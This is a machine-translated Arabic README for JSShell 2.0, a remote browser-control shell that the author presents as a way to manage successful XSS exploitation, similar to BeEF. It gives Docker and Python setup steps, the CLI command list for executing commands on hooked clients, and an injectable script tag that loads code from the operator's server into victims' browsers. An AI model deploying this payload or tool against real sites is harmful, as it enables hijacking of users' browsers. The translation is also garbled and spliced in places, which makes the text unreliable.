قذيفة JavaScript القائمة على شبكة الإنترنت متعددة المستخدمين التفاعلية. تم إنشاؤه في البداية من أجل تصحيح المتصفحات الباطنية عن بعد أثناء التجارب والأبحاث. يمكن إرفاق هذه الأداة بسهولة بحمولة XSS (البرمجة النصية للموقع) لتحقيق تنفيذ رمز بعيد المتصفح (على غرار إطار لحوم البقر).
يتم إنشاء الإصدار 2.0 بالكامل من نقطة الصفر ، وتقديم ميزات مثيرة جديدة ، والاستقرار والقدرة على الصيانة.
دانييل أبيليس.
<script> في دليل resources ، قم بتحديث ملف config.json مع التكوين المطلوب:
docker ، فاختر مضيف قاعدة البيانات كـ db (وهو اسم المضيف الداخلي).shell.js ببعض مكالمات Ajax للتسجيل والاستطلاع للأوامر الجديدة. عادةً ما يكون http[s]://{YOUR_SERVER_IP}:{PORT} . الآن يدعم JSSHELL TLS ، مما يعني أنه يمكنك الآن إنشاء شهادات TLS وتغذيتها على خادم الويب. سيستنتج خادم الويب اسم المجال من ملف config.json . من أجل إنشاء الشهادة ، استخدم البرنامج النصي create_cert.py في مجلد scripts :
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > يرجى ملاحظة أن خادم الويب يجب أن يكون معطلًا حتى يعمل البرنامج النصي بشكل صحيح. في هذه المرحلة ، لقد نجحنا في إنشاء شهاداتنا! التعديلات الوحيدة التي يتعين علينا القيام بها هي:
config.json ، قم بتغيير مخطط حقل URL إلى https .docker-compose.yml قم بتغيير المنفذ المكشوف لحاوية web إلى 443 . يدعم هذا الإصدار الجديد تثبيت وتشغيل JSSHELL عبر docker و docker-compose . الآن ، لتثبيت وتشغيل إطار JSSHELL بالكامل ، ما عليك سوى التشغيل:
$ ./scripts/start_docker_shell.shهذا سوف:
JSShell إذا كنت لا تزال ترغب في استخدام طريقة الأزياء القديمة للتثبيت ، فما عليك سوى التأكد من أن لديك قاعدة بيانات MongoDB لأعلى وتشغيلها ، وتحديث ملف config.json الموجود في دليل resources .
أوصي باستخدام بيئة افتراضية مع pyenv :
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv أو استخدام virtualenv :
$ virtualenv -p python3.6 venv
$ source venv/bin/activateثم ، قم بتثبيت المتطلبات:
$ pip install -r requirements.txt إذا استخدمت طريقة docker ، فلا داعي لتشغيل الإجراء التالي.
خلاف ذلك ، بمجرد أن يكون لدينا إعداد قاعدة البيانات ، نحتاج إلى بدء تشغيل خادم API على الويب. للقيام ، قم بالتشغيل:
$ python manage.py webسيؤدي ذلك إلى إنشاء وتشغيل خادم ويب يستمع إلى الاتصالات الواردة ويخدم رمز JSSHELL الخاص بنا.
الآن لبدء JSSHELL CLI ، قم بتشغيل نفس البرنامج النصي ولكن الآن مع علم shell :
$ python manage.py shell بعد إعداد المكونات المطلوبة وتشغيلها ، أدخل أمر help لمعرفة الأوامر المتاحة:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
يدعم JSSHELL طريقتين للتشغيل:
على غرار أطر عمل XSS الأخرى (مثل لحوم البقر) ، فإن JSSHELL قادرة على إدارة استغلال XSS الناجح. على سبيل المثال ، إذا كان بإمكانك ضخ علامة script ، فقم بحقن المورد التالي إلى الحمولة الحمولة الخاصة بك ، وسيظهر عميل جديد في وحدة التحكم الخاصة بك:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
إذا كنت ترغب في تصحيح المتصفحات الغريبة والباطنية ، فيمكنك ببساطة الانتقال إلى http[s]://{YOUR_SERVER_IP}:{PORT}/ وسيظهر عميل جديد في عميل JSshell CLI الخاص بك. الآن يمكن تصريفه عبر وحدة التحكم JSSHELL الخاصة بنا.
كانوب ل json.prune